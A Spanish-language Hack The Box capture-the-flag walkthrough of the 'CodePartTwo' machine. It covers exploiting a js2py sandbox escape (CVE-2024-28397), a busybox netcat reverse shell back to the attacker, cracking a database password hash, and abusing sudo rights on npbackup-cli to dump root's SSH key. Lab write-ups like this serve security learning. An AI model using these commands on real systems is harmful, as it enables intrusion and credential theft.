Skip to content

CodePartTwo HTB Write Up

image.png

1. Información del objetivo

IP de la máquina: 10.10.10.82

2. Reconocimiento inicial

2.1 Escaneo de puertos

sudo nmap -sS -p- -n -vvv -Pn --open 10.10.10.82 -oG allPorts

extractPorts allPorts

nmap -sCV -p22,8000 10.10.11.82 -oN targeted

Y este es el resultado.

image.png

2.2 Enumeración de servicios

Lo primero que vamos hacer, es ir a la web, aquí podemos ver que nos podemos descargar la app.

image.png

3. Análisis de la aplicación web

3.1 Revisión del código fuente (app.py)

Este descarga nos va a descargar un .zip que contiene lo siguiente:

image.png

Si le damos un vistazo a la app.py podemos ver que mediante js2py y eval se ejecuta el código javascript que nosotros pongamos.

image.png

3.2 Pruebas en la funcionalidad web

Por lo tanto me voy a registrar en la web.

image.png

Y aquí podemos ver lo que hemos visto en el código anterior.

image.png

3.3 Identificación de vulnerabilidad (CVE-2024-28397)

No obstante si hacemos un poco de búsqueda podremos encontrar rápidamente que hay un CVE, en este caso CVE-2024-28397 el cuál consiste en un RCE with js2py sandbox escape .

Esta es la PoC con el que me he basado.

RCE with js2py sandbox escape

Por lo tanto, solo me voy a copiar la parte del javascript y lo voy a pegar en el Code Editor.

Lo único que tenemos que reemplazar es el comando que queremos ejecutar. Y le damos a run code.

image.png

4. Explotación

4.1 Ejecución de comandos remotos

Y por aquí podemos observar que hemos recibido la petición curl correctamente.

image.png

4.2 Reverse Shell y tratamiento de TTY

Por lo tanto cambiamos el comando y me ejecutare una shell con busybox.

busybox nc 10.10.XX.XX 443 -e sh

image.png

A continuación voy a hacer el tratamiento de la tty con los siguientes comandos.

script /dev/null -c bash

stty raw -echo; fg

reset xterm

export TERM=xterm
export SHELL=bash

stty rows 36 cols 183

Puedes comprobar las filas y las columnas asi -> stty size (en tu terminal)

5. Post-Explotación

5.1 Acceso a la base de datos y extracción de credenciales

Ahora podemos con sqlite3 podemos conectarnos a la base de datos que esta expuesta en la carpeta instance.

image.png

Aquí tenemos el hash de marco así que voy a guardarlo y a crackearlo.

image.png

hashcat -a 0 -m 0 hash /usr/share/wordlists/rockyou.txt --username -O

image.png

5.2 Escalada a usuario (marco)

Y tenemos la contraseña de marco.

marco:sweetangelbabylove (La user flag esta en /home/marco/user.txt)

6. Escalada de privilegios

6.1 Análisis del binario npbackup-cli

Así que nos conectamos y hacemos un sudo -l aquí podemos observar lo siguiente:

sudo -l
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

6.2 Abuso de la funcionalidad de backup

Para abusar de este binario primero tenemos que entender su funcionamiento.

Este binario permite hacer copias de seguridad, Cliente de respaldo de red portátil.

Para escalar a root he hecho lo siguiente.

Primero de todo he inicializado un repositorio para poder usarlo con npbackup-cli

restic -r /home/marco/repo init --password-command "echo nopass"

Luego he creado una configuración válida el cuál podremos usar para hacer un backup.

astro.conf

conf_version: 3.0.1

repos:
  default:
    repo_uri: /home/marco/repo
    repo_group: default_group
    repo_opts:
      repo_password: "nopass"

groups:
  default_group:
    backup_opts:
      paths:
        - /root
      source_type: folder_list


Seguidamente corremos el backup como root con la configuración que hemos creado.

sudo /usr/local/bin/npbackup-cli -c astro.conf --backup

Y para terminar podemos dumpear el backup solicitado.

sudo /usr/local/bin/npbackup-cli -c astro.conf --dump /root/.ssh/id_rsa

6.3 Acceso a root y captura de la flag

Una vez con la clave id_rsa la guardamos en nuestro kali y le damos permisos 600.

image.png

ssh root@10.10.11.82 -i id_rsa

cat /root/root.txt

Autor: Astro